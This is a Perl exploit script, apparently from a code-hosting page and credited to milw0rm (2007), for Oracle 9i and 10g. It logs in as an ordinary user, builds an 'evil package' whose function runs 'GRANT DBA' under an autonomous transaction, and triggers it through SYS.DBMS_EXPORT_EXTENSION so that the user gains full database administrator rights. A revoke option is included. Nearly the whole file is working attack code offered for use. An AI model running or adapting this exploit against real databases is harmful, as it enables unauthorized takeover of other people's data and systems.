120 lines
No EOL
2.6 KiB
Perl
Executable file
120 lines
No EOL
2.6 KiB
Perl
Executable file
#!/usr/bin/perl
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#
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# Remote Oracle dbms_export_extension exploit (any version)
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# Grant or revoke dba permission to unprivileged user
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#
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# Tested on Oracle 10g - Release 10.2.0.1.0
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# Oracle 9i - Release 9.2.0.2.0
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#
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# REF: https://www.securityfocus.com/bid/17699
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#
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# AUTHOR: Andrea "bunker" Purificato
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# http://rawlab.mindcreations.com
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#
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# DATE: Copyright 2007 - Sun Feb 4 15:53:04 CET 2007
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#
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# Oracle InstantClient (basic + sdk) required for DBD::Oracle
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#
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use warnings;
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use strict;
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use DBI;
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use DBD::Oracle;
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use Getopt::Std;
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use vars qw/ %opt /;
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sub usage {
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print <<"USAGE";
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Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r
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Options:
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-h <host> target server address
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-s <sid> target sid name
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-u <user> user
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-p <passwd> password
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-g|-r (g)rant dba to user | (r)evoke dba from user
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USAGE
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exit 0
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}
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my $opt_string = 'h:s:u:p:gr';
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getopts($opt_string, \%opt) or &usage;
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&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
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&usage if ( !$opt{g} and !$opt{r} );
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my $user = uc $opt{u};
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my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
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my $sqlcmd = "GRANT DBA TO $user";
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print "[-] Wait...\n";
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$dbh->{RaiseError} = 1;
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if ($opt{r}) {
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print "[-] Revoking DBA from $user...\n";
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$sqlcmd = "REVOKE DBA FROM $user";
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$dbh->do( $sqlcmd );
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print "[-] Done!\n";
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$dbh->disconnect;
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exit;
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}
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$dbh->do( qq{
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CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
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FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
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VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
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END;
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} );
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print "[-] Building evil package\n";
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$dbh->do(qq{
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CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
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FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
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VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
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pragma autonomous_transaction;
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BEGIN
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EXECUTE IMMEDIATE '$sqlcmd';
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COMMIT;
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RETURN(1);
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END;
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END;
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} );
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print "[-] Finishing evil package\n";
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$dbh->do(qq{
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DECLARE
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INDEX_NAME VARCHAR2(200);
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INDEX_SCHEMA VARCHAR2(200);
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TYPE_NAME VARCHAR2(200);
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TYPE_SCHEMA VARCHAR2(200);
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VERSION VARCHAR2(200);
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NEWBLOCK PLS_INTEGER;
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GMFLAGS NUMBER;
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v_Return VARCHAR2(200);
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BEGIN
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INDEX_NAME := 'A1';
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INDEX_SCHEMA := '$user';
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TYPE_NAME := 'BUNKERPKG';
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TYPE_SCHEMA := '$user';
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VERSION := '';
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GMFLAGS := 1;
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v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
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INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
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=> TYPE_NAME,
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TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
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NEWBLOCK, GMFLAGS => GMFLAGS
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);
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END;
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} );
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print "[-] YOU GOT THE POWAH!!\n";
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$dbh->disconnect;
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exit;
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# milw0rm.com [2007-02-05] |